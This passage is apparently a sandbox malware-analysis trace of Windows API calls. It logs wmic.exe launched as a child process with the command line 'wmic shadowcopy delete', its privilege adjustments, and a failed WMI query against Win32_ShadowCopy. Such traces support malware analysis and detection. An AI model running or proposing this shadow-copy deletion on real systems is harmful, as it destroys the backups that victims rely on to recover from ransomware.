Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0067.278] free (_Block=0x2642448) [0067.278] CloseHandle (hObject=0x2a0) returned 1 [0067.278] lstrlenW (lpString="GET") returned 3 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.278] lstrlenW (lpString="LIST") returned 4 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.278] lstrlenW (lpString="SET") returned 3 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.278] lstrlenW (lpString="CALL") returned 4 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.278] lstrlenW (lpString="ASSOC") returned 5 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.278] lstrlenW (lpString="CREATE") returned 6 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.278] lstrlenW (lpString="DELETE") returned 6 [0067.278] lstrlenW (lpString="delete") returned 6 [0067.279] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.301] malloc (_Size=0xc) returned 0x2642078 [0067.301] lstrlenA (lpString="") returned 0 [0067.301] malloc (_Size=0x2) returned 0x2c2860 [0067.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x2c2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.301] free (_Block=0x2c2860) [0067.301] malloc (_Size=0xc) returned 0x26420c0 [0067.301] lstrlenA (lpString="") returned 0 [0067.301] malloc (_Size=0x2) returned 0x2c2860 [0067.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x2c2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.301] free (_Block=0x2c2860) [0067.301] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.301] malloc (_Size=0x3e) returned 0x2cff68 [0067.301] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.301] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xddc38f06 | out: _String="Select", _Context=0xddc38f06) returned="Select" [0067.301] malloc (_Size=0xc) returned 0x2642168 [0067.301] free (_Block=0x26420c0) [0067.301] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xddc38f06 | out: _String=0x0, _Context=0xddc38f06) returned="*" [0067.301] lstrlenW (lpString="FROM") returned 4 [0067.301] lstrlenW (lpString="*") returned 1 [0067.301] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0067.301] malloc (_Size=0xc) returned 0x26420c0 [0067.301] free (_Block=0x2642168) [0067.301] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xddc38f06 | out: _String=0x0, _Context=0xddc38f06) returned="from" [0067.302] lstrlenW (lpString="FROM") returned 4 [0067.302] lstrlenW (lpString="from") returned 4 [0067.302] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0067.302] malloc (_Size=0xc) returned 0x2642168 [0067.302] free (_Block=0x26420c0) [0067.302] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xddc38f06 | out: _String=0x0, _Context=0xddc38f06) returned="Win32_ShadowCopy" [0067.302] malloc (_Size=0xc) returned 0x26420c0 [0067.302] free (_Block=0x2642168) [0067.302] free (_Block=0x2cff68) [0067.302] malloc (_Size=0xc) returned 0x2642168 [0067.302] malloc (_Size=0xc) returned 0x26420a8 [0067.302] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0067.302] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0067.302] free (_Block=0x2642078) [0067.302] free (_Block=0x2642168) [0067.302] ??0CHString@@QAE@XZ () returned 0x1df58c [0067.302] GetCurrentThreadId () returned 0xca8 [0067.302] malloc (_Size=0xc) returned 0x2642168 [0067.302] malloc (_Size=0xc) returned 0x2642078 [0067.303] malloc (_Size=0xc) returned 0x2642108 [0067.303] malloc (_Size=0xc) returned 0x2642120 [0067.303] malloc (_Size=0xc) returned 0x2642138 [0067.303] SysStringLen (param_1="\\\\") returned 0x2 [0067.303] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0067.303] malloc (_Size=0xc) returned 0x2642150 [0067.303] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0067.303] SysStringLen (param_1="\\") returned 0x1 [0067.303] malloc (_Size=0xc) returned 0x2642180 [0067.303] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0067.303] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0067.303] free (_Block=0x2642150) [0067.303] free (_Block=0x2642138) [0067.303] free (_Block=0x2642120) [0067.303] free (_Block=0x2642108) [0067.303] free (_Block=0x2642078) [0067.303] free (_Block=0x2642168) [0067.303] malloc (_Size=0xc) returned 0x2642168 [0067.304] malloc (_Size=0xc) returned 0x2642078 [0067.304] malloc (_Size=0xc) returned 0x2642108 [0067.304] WbemLocator:IWbemLocator:ConnectServer (in: This=0x9d0828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c204 | out: ppNamespace=0xd1c204*=0x9dd0bc) returned 0x0 [0067.313] free (_Block=0x2642108) [0067.313] free (_Block=0x2642078) [0067.313] free (_Block=0x2642168) [0067.313] CoSetProxyBlanket (pProxy=0x9dd0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0067.313] free (_Block=0x2642180) [0067.313] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.313] ??0CHString@@QAE@XZ () returned 0x1df584 [0067.313] GetCurrentThreadId () returned 0xca8 [0067.313] malloc (_Size=0xc) returned 0x2642180 [0067.313] lstrlenA (lpString="") returned 0 [0067.313] malloc (_Size=0x2) returned 0x2c2860 [0067.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x2c2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.313] free (_Block=0x2c2860) [0067.313] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0067.313] SysStringLen (param_1="") returned 0x0 [0067.313] free (_Block=0x2642180) [0067.313] malloc (_Size=0xc) returned 0x2642180 [0067.313] IWbemServices:ExecQuery (in: This=0x9dd0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x1df580 | out: ppEnum=0x1df580*=0x0) returned 0x80041014 [0069.702] free (_Block=0x2642180) [0069.702] _CxxThrowException () [0069.702] malloc (_Size=0x10) returned 0x2642180 [0069.702] ??1CHString@@QAE@XZ () returned 0x74c20504 [0069.702] free (_Block=0x26420c0) [0069.703] free (_Block=0x26420a8) [0069.703] GetCurrentThreadId () returned 0xca8 [0069.703] ??0CHString@@QAE@PBG@Z () returned 0x1df644 [0069.703] ??YCHString@@QAEABV0@PBG@Z () returned 0x1df644 [0069.703] ??0CHString@@QAE@XZ () returned 0x1df508 [0069.703] malloc (_Size=0xc) returned 0x26420a8 [0069.703] malloc (_Size=0xc) returned 0x26420c0 [0069.703] SysStringLen (param_1="") returned 0x0 [0069.703] free (_Block=0x26420a8) [0069.703] CoCreateInstance (in: rclsid=0xcd6cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xd1c21c | out: ppv=0xd1c21c*=0x9d0810) returned 0x0 [0069.712] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x9d0810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x1df520 | out: MessageText=0x1df520*="Initialization failure\r\n") returned 0x0 [0069.714] free (_Block=0x26420c0) [0069.714] malloc (_Size=0xc) returned 0x26420c0 [0069.714] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x9d0810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x1df544 | out: MessageText=0x1df544*="WMI") returned 0x0 [0069.715] malloc (_Size=0xc) returned 0x26420a8 [0069.715] lstrlenW (lpString="WMI") returned 3 [0069.715] lstrlenW (lpString="Wbem") returned 4 [0069.715] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0069.715] lstrlenW (lpString="WMI") returned 3 [0069.715] lstrlenW (lpString="WMI") returned 3 [0069.715] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0069.715] WbemStatusCodeText:IUnknown:Release (This=0x9d0810) returned 0x0 [0069.715] ??1CHString@@QAE@XZ () returned 0x74c20504 [0069.715] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x1ded70, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0069.715] FormatMessageW (in: dwFlags=0x2500, lpSource=0x1ded70, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1ded6c, nSize=0x0, Arguments=0x1ded58 | out: lpBuffer="晨]ERROR:\r\nDescription = %1") returned 0x2e [0069.715] malloc (_Size=0xc) returned 0x2642168 [0069.715] LocalFree (hMem=0x5d6668) returned 0x0 [0069.715] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0069.715] malloc (_Size=0x2f) returned 0x2642448 [0069.715] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x2642448, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0069.715] fprintf (in: _File=0x76be2940, _Format="%s" | out: _File=0x76be2940) returned 46 [0069.725] fflush (in: _File=0x76be2940 | out: _File=0x76be2940) returned 0 [0069.725] free (_Block=0x2642448) [0069.725] free (_Block=0x2642168) [0069.725] free (_Block=0x26420a8) [0069.726] free (_Block=0x26420c0) [0069.726] ??1CHString@@QAE@XZ () returned 0x1 [0069.726] ??0CHString@@QAE@PBG@Z () returned 0x1df664 [0069.726] ??YCHString@@QAEABV0@PBG@Z () returned 0x1df664 [0069.726] GetCurrentThreadId () returned 0xca8 [0069.726] ??1CHString@@QAE@XZ () returned 0x1 [0069.726] WbemLocator:IUnknown:Release (This=0x9dd0bc) returned 0x0 [0069.728] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.728] free (_Block=0x2642180) [0069.729] _kbhit () returned 0x0 [0069.731] free (_Block=0x2c3228) [0069.731] free (_Block=0x2642060) [0069.731] free (_Block=0x2cfe88) [0069.731] free (_Block=0x2cfe70) [0069.731] free (_Block=0x2cfe58) [0069.731] free (_Block=0x2c31c8) [0069.731] free (_Block=0x2ceb88) [0069.731] free (_Block=0x2cff30) [0069.731] free (_Block=0x26420d8) [0069.731] free (_Block=0x2cfeb0) [0069.731] free (_Block=0x26420f0) [0069.731] free (_Block=0x2cebc8) [0069.731] free (_Block=0x2cff20) [0069.731] free (_Block=0x2c2ee0) [0069.731] free (_Block=0x2cfef8) [0069.732] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.732] free (_Block=0x2c31f8) [0069.732] free (_Block=0x2ceba8) [0069.732] free (_Block=0x2642090) [0069.732] free (_Block=0x2c2788) [0069.732] free (_Block=0x2c27d0) [0069.732] free (_Block=0x2c2818) [0069.732] free (_Block=0x2cebe8) [0069.732] free (_Block=0x2c28c8) [0069.732] free (_Block=0x2c2ec8) [0069.732] free (_Block=0x2ce8c8) [0069.732] free (_Block=0x2c2eb0) [0069.732] free (_Block=0x2ce8a8) [0069.732] free (_Block=0x2c2e98) [0069.732] free (_Block=0x2ce888) [0069.732] free (_Block=0x2c2a10) [0069.732] free (_Block=0x2c2a28) [0069.732] free (_Block=0x2c29d8) [0069.732] free (_Block=0x2c29f0) [0069.732] free (_Block=0x2c2a48) [0069.732] free (_Block=0x2c2a60) [0069.732] free (_Block=0x2c2a80) [0069.732] free (_Block=0x2ce868) [0069.733] free (_Block=0x2c2968) [0069.733] free (_Block=0x2c2980) [0069.733] free (_Block=0x2c2930) [0069.733] free (_Block=0x2c2948) [0069.733] free (_Block=0x2c29a0) [0069.733] free (_Block=0x2c29b8) [0069.733] free (_Block=0x2c28f8) [0069.733] free (_Block=0x2c2910) [0069.733] free (_Block=0x2c2880) [0069.733] free (_Block=0x2c3fb8) [0069.733] free (_Block=0x26405b0) [0069.733] WbemLocator:IUnknown:Release (This=0x9d0828) returned 0x2 [0069.733] WbemLocator:IUnknown:Release (This=0x9dd064) returned 0x0 [0069.780] WbemLocator:IUnknown:Release (This=0x9dd00c) returned 0x0 [0069.781] WbemLocator:IUnknown:Release (This=0x9d0828) returned 0x1 [0069.781] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.781] WbemLocator:IUnknown:Release (This=0x9d0828) returned 0x0 [0069.781] free (_Block=0x2cfdf8) [0069.781] free (_Block=0x2cfe10) [0069.781] free (_Block=0x2ceb48) [0069.781] free (_Block=0x2cfe28) [0069.781] free (_Block=0x2cfe40) [0069.781] free (_Block=0x2ceb68) [0069.781] free (_Block=0x2cfcd8) [0069.781] free (_Block=0x2cfcf0) [0069.781] free (_Block=0x2cea88) [0069.781] free (_Block=0x2cfd08) [0069.781] free (_Block=0x2cfd20) [0069.781] free (_Block=0x2ceaa8) [0069.781] free (_Block=0x2cfc78) [0069.781] free (_Block=0x2cfc90) [0069.782] free (_Block=0x2cea48) [0069.782] free (_Block=0x2cfca8) [0069.782] free (_Block=0x2cfcc0) [0069.782] free (_Block=0x2cea68) [0069.782] free (_Block=0x2cfd98) [0069.782] free (_Block=0x2cfdb0) [0069.782] free (_Block=0x2ceb08) [0069.782] free (_Block=0x2cfdc8) [0069.782] free (_Block=0x2cfde0) [0069.782] free (_Block=0x2ceb28) [0069.782] free (_Block=0x2cfc18) [0069.782] free (_Block=0x2cfc30) [0069.782] free (_Block=0x2cea08) [0069.782] free (_Block=0x2cfc48) [0069.782] free (_Block=0x2cfc60) [0069.782] free (_Block=0x2cea28) [0069.783] free (_Block=0x2cfd38) [0069.783] free (_Block=0x2cfd50) [0069.783] free (_Block=0x2ceac8) [0069.783] free (_Block=0x2cfd68) [0069.783] free (_Block=0x2cfd80) [0069.783] free (_Block=0x2ceae8) [0069.783] free (_Block=0x2cfb88) [0069.783] free (_Block=0x2cfba0) [0069.783] free (_Block=0x2ce9a8) [0069.783] free (_Block=0x2c3160) [0069.783] free (_Block=0x2c3178) [0069.783] free (_Block=0x2ce908) [0069.783] free (_Block=0x2c2f28) [0069.783] free (_Block=0x2c2f40) [0069.783] free (_Block=0x2ce8e8) [0069.784] free (_Block=0x2cfaf8) [0069.784] free (_Block=0x2cfb10) [0069.784] free (_Block=0x2ce948) [0069.784] free (_Block=0x2cfbb8) [0069.784] free (_Block=0x2cfbd0) [0069.784] free (_Block=0x2ce9c8) [0069.784] free (_Block=0x2cfac8) [0069.784] free (_Block=0x2cfae0) [0069.784] free (_Block=0x2ce928) [0069.784] free (_Block=0x2cfb28) [0069.784] free (_Block=0x2cfb40) [0069.784] free (_Block=0x2ce968) [0069.784] free (_Block=0x2cfb58) [0069.784] free (_Block=0x2cfb70) [0069.784] free (_Block=0x2ce988) [0069.785] free (_Block=0x2cfbe8) [0069.785] free (_Block=0x2cfc00) [0069.785] free (_Block=0x2ce9e8) [0069.785] CoUninitialize () [0072.008] exit (_Code=-2147217388) [0072.009] free (_Block=0x2c3190) [0072.009] free (_Block=0x2c3e88) [0072.009] ??1CHString@@QAE@XZ () returned 0x74c20504 [0072.009] free (_Block=0x2c3000) [0072.009] free (_Block=0x2c28e8) [0072.009] free (_Block=0x2c3e68) [0072.009] free (_Block=0x2c3e48) [0072.009] free (_Block=0x2c3e18) [0072.009] free (_Block=0x2c3df8) [0072.009] free (_Block=0x2c3dc8) [0072.009] free (_Block=0x2c13d8) [0072.009] free (_Block=0x2c13b8) [0072.009] ??1CHString@@QAE@XZ () returned 0x74c20504 [0072.009] free (_Block=0x2c2f58) Thread: id = 119 os_tid = 0xeb4 Thread: id = 195 os_tid = 0xf3c Thread: id = 202 os_tid = 0xf58 Thread: id = 203 os_tid = 0xf5c Thread: id = 204 os_tid = 0xf60 Process: id = "37" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x2d876000" os_pid = "0xcc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xbe4" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xcc4 [0048.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bfd0c | out: lpSystemTimeAsFileTime=0x2bfd0c*(dwLowDateTime=0xad1791e0, dwHighDateTime=0x1d5e09d)) [0048.583] GetCurrentProcessId () returned 0xcc0 [0048.583] GetCurrentThreadId () returned 0xcc4 [0048.583] GetTickCount () returned 0x1156e2e [0048.583] QueryPerformanceCounter (in: lpPerformanceCount=0x2bfd04 | out: lpPerformanceCount=0x2bfd04*=19045425231) returned 1 [0048.584] GetModuleHandleA (lpModuleName=0x0) returned 0xcd0000 [0048.584] __set_app_type (_Type=0x1) [0048.584] __p__fmode () returned 0x76be31f4 [0048.584] __p__commode () returned 0x76be31fc [0048.584] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd0dc15) returned 0x0 [0048.584] __wgetmainargs (in: _Argc=0xd1c5e8, _Argv=0xd1c5f0, _Env=0xd1c5ec, _DoWildCard=0, _StartInfo=0xd1c5fc | out: _Argc=0xd1c5e8, _Argv=0xd1c5f0, _Env=0xd1c5ec) returned 0 [0051.233] ??0CHString@@QAE@XZ () returned 0xd1c28c [0051.233] malloc (_Size=0x18) returned 0x4513b8 [0051.381] malloc (_Size=0x38) returned 0x4513d8 [0051.381] malloc (_Size=0x28) returned 0x453dc8 [0051.381] malloc (_Size=0x18) returned 0x453df8 [0051.381] malloc (_Size=0x24) returned 0x453e18 [0051.590] malloc (_Size=0x18) returned 0x453e48 [0051.591] malloc (_Size=0x18) returned 0x453e68 [0051.591] ??0CHString@@QAE@XZ () returned 0xd1c594 [0051.591] malloc (_Size=0x18) returned 0x453e88 [0051.591] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0051.591] SetConsoleCtrlHandler (HandlerRoutine=0xd06b6f, Add=1) returned 1 [0051.591] _onexit (_Func=0xd12f1f) returned 0xd12f1f [0051.591] _onexit (_Func=0xd12f2e) returned 0xd12f2e [0051.591] _onexit (_Func=0xd12f42) returned 0xd12f42 [0051.591] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0051.591] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0051.592] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0052.350] CoCreateInstance (in: rclsid=0xcd6c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xd1c1b0 | out: ppv=0xd1c1b0*=0x190828) returned 0x0 [0055.401] GetCurrentProcess () returned 0xffffffff [0055.401] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x2bfbb4 | out: TokenHandle=0x2bfbb4*=0x108) returned 1 [0055.401] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bfbb0 | out: TokenInformation=0x0, ReturnLength=0x2bfbb0) returned 0 [0055.401] malloc (_Size=0x118) returned 0x452788 [0055.401] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x452788, TokenInformationLength=0x118, ReturnLength=0x2bfbb0 | out: TokenInformation=0x452788, ReturnLength=0x2bfbb0) returned 1 [0055.401] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x452788*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.401] free (_Block=0x452788) [0055.401] CloseHandle (hObject=0x108) returned 1 [0055.401] malloc (_Size=0x40) returned 0x452788 [0055.402] malloc (_Size=0x40) returned 0x4527d0 [0055.402] malloc (_Size=0x40) returned 0x452818 [0055.402] malloc (_Size=0x20a) returned 0x452860 [0055.402] GetSystemDirectoryW (in: lpBuffer=0x452860, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.402] free (_Block=0x452860) [0055.584] malloc (_Size=0xc) returned 0x453fb8 [0055.584] malloc (_Size=0xc) returned 0x453fd0 [0055.584] malloc (_Size=0xc) returned 0x452860 [0055.584] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0055.584] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0055.584] free (_Block=0x453fb8) [0055.584] free (_Block=0x453fd0) [0055.584] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e10000 [0055.585] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0055.585] SetThreadUILanguage (LangId=0x0) returned 0x409 [0055.586] FreeLibrary (hLibModule=0x76e10000) returned 1 [0055.586] free (_Block=0x452860) [0055.586] _vsnwprintf (in: _Buffer=0x452818, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x2bfb10 | out: _Buffer="ms_409") returned 6 [0055.586] malloc (_Size=0x20) returned 0x453fb8 [0055.586] GetComputerNameW (in: lpBuffer=0x453fb8, nSize=0x2bfb68 | out: lpBuffer="XDUWTFONO", nSize=0x2bfb68) returned 1 [0055.586] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.586] malloc (_Size=0x14) returned 0x452860 [0055.586] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.586] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x2bfba4 | out: lpNameBuffer=0x0, nSize=0x2bfba4) returned 0x0 [0055.588] GetLastError () returned 0xea [0055.588] malloc (_Size=0x40) returned 0x452880 [0055.588] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x452880, nSize=0x2bfba4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2bfba4) returned 0x1 [0055.588] lstrlenW (lpString="") returned 0 [0055.588] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.588] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0055.590] lstrlenW (lpString=".") returned 1 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0055.590] lstrlenW (lpString="LOCALHOST") returned 9 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0055.590] free (_Block=0x452860) [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] malloc (_Size=0x14) returned 0x452860 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] malloc (_Size=0x14) returned 0x4528c8 [0055.590] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.590] malloc (_Size=0x4) returned 0x4528e8 [0055.590] malloc (_Size=0xc) returned 